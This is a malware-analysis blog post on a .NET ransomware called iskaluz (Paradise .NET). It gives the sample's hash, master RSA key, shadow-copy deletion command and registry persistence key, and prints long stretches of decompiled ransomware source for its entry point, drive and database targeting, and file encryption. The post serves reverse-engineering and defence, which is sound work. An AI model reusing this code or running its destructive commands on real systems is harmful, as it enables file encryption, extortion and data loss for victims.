iskaluz Ransomware

- 9 mins

Today i wanna talk about a another .NET ransomware that @fbgwls245 on twitter found named as Paradise .NET

MD5: 307E85BC807B88E3E2C95BDFC3BEDDE4

A basic knowledge about the sample

TimeStamp: 2022-01-17 16:28:02

A 32bit .NET(v4.0.30319)[-] Executable file

PDB not found

Let’s talk about this ransomware though

It’s ransom letter looks kinda this

image

named as “#DECRYPT MY FILES#.txt”

  1. It Uses RSA-1024 for encryption of files with the system generated public RSA key and then encrypts the PrivateRSA Key with the stored masterPublic RSA key which is also RSA-1024

Stored MasterRSA Public Key:

-----BEGIN PUBLIC KEY-----
MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQD2NsbRUCBtLdSjgkyuLC+SvrRC
FK8QeVTdtbILtE8QDTb4yCimMbLdCNQHNa0tGBrd/Vix2u70ZvmybzIEurn1IPi0
q3vNu0+nb5V8FucJim7VoQYw15DeLjZ9gd5cVFN2XbpaqJ1DsW5lWVtjII5f43Cu
FmsrNtlU08/E8wrerQIDAQAB
-----END PUBLIC KEY-----
  1. It uses PKCS#1 v1.5 as padding
  2. It deletes shadow volumes with “cmd.exe /C sc delete VSS”
  3. It creates for autorun for persistance as let’s say the encrytion is stopped somehow in between so it will restart the encryption

that is it creates a reg key "SOFTWARE\Microsoft\Windows\CurrentVersion\Run" in HKLM to create persistance with key DP_Main and value C:\Users\[username]\AppData\Roaming\DP\DP_Main.exe

Cool let’s start from start:

This is is how it’s entrypoint looks

Main Function

private static void EntryPoint(string[] args)
{
	try
	{
		IntPtr consoleWindow = mainClass.api_imports.GetConsoleWindow(); 
		mainClass.api_imports.ShowWindow(consoleWindow, 0);
		string folderPath = Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData);
		if (File.Exists(folderPath + Encoding.UTF8.GetString(Convert.FromBase64String("XERQXHdlbGxkb25lLmRw"))))
		{
			Environment.Exit(0);
		}
		else
		{
			if (args.Length == 0)
			{
				bool flag = mainClass.writes_runs_as_admin();
				if (flag)
				{
					int num = mainClass.checks_if_process_main_is_running();
					if (!mainClass.returns_true_if_admin())
					{
						mainClass.dp_main_runas();
					}
					int num2 = mainClass.checks_if_process_main_is_running();
					if (num2 > num)
					{
						Environment.Exit(0);
					}
				}
			}
			if (!mainClass.check_if_file_has_already_run_once())
			{
				mainClass.system_rsa_key_create();
				mainClass.MasterRSA.FromXmlString(mainClass.RSA_MasterPublic);
				mainClass.rsa.FromXmlString(mainClass.RSA_Public);
				mainClass.private_key_encrypt_and_store();
				while (mainClass.LockerForValidKey)
				{
				}
				mainClass.setting_persistance();
				mainClass.deletes_shadow();
			}
			mainClass.text = mainClass.text.Replace(Encoding.UTF8.GetString(Convert.FromBase64String("JUtFWSU=")), mainClass.CryptedPrivateKey);
			mainClass.adding_drives_to_driveinfoque();
			mainClass.encrypter_wrapper_main_main();
			File.WriteAllText(folderPath + Encoding.UTF8.GetString(Convert.FromBase64String("XERQXHdlbGxkb25lLmRw")), Encoding.UTF8.GetString(Convert.FromBase64String("RG9uZQ==")));
			Environment.Exit(0);
		}
	}
	catch (Exception)
	{
	}
}

Though it does not looks like this a bit obfuscated or renamed! Cool let’s just follow up the above code

  1. Initially it asks for consolewindow and sets it 0 so its not shown
  2. Then it checks for the file C:\Users\[username]\AppData\Roaming\DP\welldone.dp this file is created when the process is completed and writes “Done” in the file welldone.dp which is set at last through File.WriteAllText() function
  3. Then it will start the process as Admin with the help of processInfo.Verb = "runas"; if not it will exit.
  4. Then it will check if file has already ran once or not by finding the file DecryptionInfo.auth which contains the public RSA key used for file encryption and encrypted private key
  5. Let’s take if the decryption info file is not present then it will create new rsa keys and will store in file Decryptioninfo.auth with function “private_key_encrypt_and_store” where it will create “DecryptionInfo.auth” and store
    • Base64 encoded encrypted private key and
    • XML format RSA_public key

It will store it in two folders

  1. Next for setting persistance it will create registry key and create a file in C:\Users\[username]\AppData\Roaming\DP\DP_Main.exe
  2. Then it will delete the shadow backup copies through “deletes_shadow”
  3. Next part is where it will create a Queue of all the drives in your system and will store it in your system.

Cool now comes the main encryption part!, Exiting!

The two main codes:

private static void encrypter_wrapper_main_main()
		{
			try
			{
				mainClass.encrypter_wrapper_main();
				while (mainClass.Drives.Count != 0 && mainClass.Drives != null)
				{
					string text = Encoding.UTF8.GetString(Convert.FromBase64String(""));
					text = mainClass.Drives.Dequeue();
					if (!string.IsNullOrEmpty(text))
					{
						mainClass.encrypt_and_ransom_dropper(text);
					}
				}
				mainClass.desktop_encrypter(Environment.GetFolderPath(Environment.SpecialFolder.Desktop));
			}
			catch (Exception)
			{
			}
		}

private static void encrypter_wrapper_main()
		{
			mainClass.encrypt_and_ransom_dropper(Directory.GetCurrentDirectory());
			foreach (string path in mainClass.Drives)
			{
				mainClass.recursive_sql_encrypter(path);
			}
		}

These two are the main wrappers of the encryption code:

One thing to notice the recursive_sql_encrypter It basically generates an array for Databases/backup

string[] array = new string[]
				{
					Encoding.UTF8.GetString(Convert.FromBase64String("bXlzcWw=")), //mysql
					Encoding.UTF8.GetString(Convert.FromBase64String("ZmlyZWJpcmQ=")), //firebird
					Encoding.UTF8.GetString(Convert.FromBase64String("IG1zc3Fs")), //mssql
					Encoding.UTF8.GetString(Convert.FromBase64String("bWljcm9zb2Z0IHNxbA==")), // microsoft sql
					Encoding.UTF8.GetString(Convert.FromBase64String("YmFja3Vw")) //backup
				};

and while looking for directories, if it finds them it will encrypt it

Okay now the main encryption code:

Encryption Code:

private static void main_encrypter_and_filename_changer(string file, RSACryptoServiceProvider ThRSA)
		{
			if (!File.Exists(Environment.GetFolderPath(Environment.SpecialFolder.Personal) + Encoding.UTF8.GetString(Convert.FromBase64String("XA==")) + mainClass.result22))
			{
				mainClass.P0MNKUU55F();
				return;
			}
			try
			{
				FileInfo fileInfo = new FileInfo(file);
				if (fileInfo.Extension != mainClass.CryptedExtension && !fileInfo.FullName.Contains(Encoding.UTF8.GetString(Convert.FromBase64String("I0RFQ1JZUFQgTVkgRklMRVMjLnR4dA=="))) && fileInfo.Name != Encoding.UTF8.GetString(Convert.FromBase64String("RGVjcnlwdGlvbkluZm8uYXV0aA==")) && fileInfo.Extension != Encoding.UTF8.GetString(Convert.FromBase64String("LmRw")))
				{
					List<byte[]> list = new List<byte[]>();
					List<byte> list2 = new List<byte>();
					if (fileInfo.Length / 1024L > 64L)
					{
						list = mainClass.could_be_file_reader(file, 547);
					}
					else
					{
						int blocks_count = Convert.ToInt32(fileInfo.Length / 117L);
						if (fileInfo.Length < 117L)
						{
							list.Add(File.ReadAllBytes(file));
							using (FileStream fileStream = File.OpenWrite(file))
							{
								fileStream.SetLength(0L);
								goto IL_137;
							}
						}
						list = mainClass.could_be_file_reader(file, blocks_count);
					}
					IL_137:
					if (list != null)
					{
						foreach (byte[] rgb in list)
						{
							byte[] collection = ThRSA.Encrypt(rgb, false);
							list2.AddRange(collection);
						}
						File.AppendAllText(file, Encoding.UTF8.GetString(Convert.FromBase64String("PENSWVBURUQ+")) + Convert.ToBase64String(list2.ToArray()) + Encoding.UTF8.GetString(Convert.FromBase64String("PC9DUllQVEVEPg==")), Encoding.Default);
						File.Move(file, string.Concat(new string[]
						{
							file,
							Encoding.UTF8.GetString(Convert.FromBase64String("W0VtYWlsXS5b")),
							mainClass.mail,
							Encoding.UTF8.GetString(Convert.FromBase64String("XQ==")),
							mainClass.CryptedExtension
						}));
						File.Delete(file);
					}
				}
			}
			catch (Exception)
			{
			}
		}
  1. Initally i don’t why it creates a random file of 0 bytes i guess just for checking if it can create a file or not otherwise it will exit
  2. It will not encrypt files that have the encrypted extension that is “.iskaluz” or the file is DecryptionAuth or RansomLetter or has extension .dp
  3. It will use normal Encrypt function with PKCS padding
  4. After encryption it will rename / move the file to the name [Email].[[email protected]].iskaluz
  5. Encryption format is
\<cryted> encrypted data <\/cryted>

This is all for this file encryption last is done in block length of 547

That’s all

rss facebook twitter github mail instagram linkedin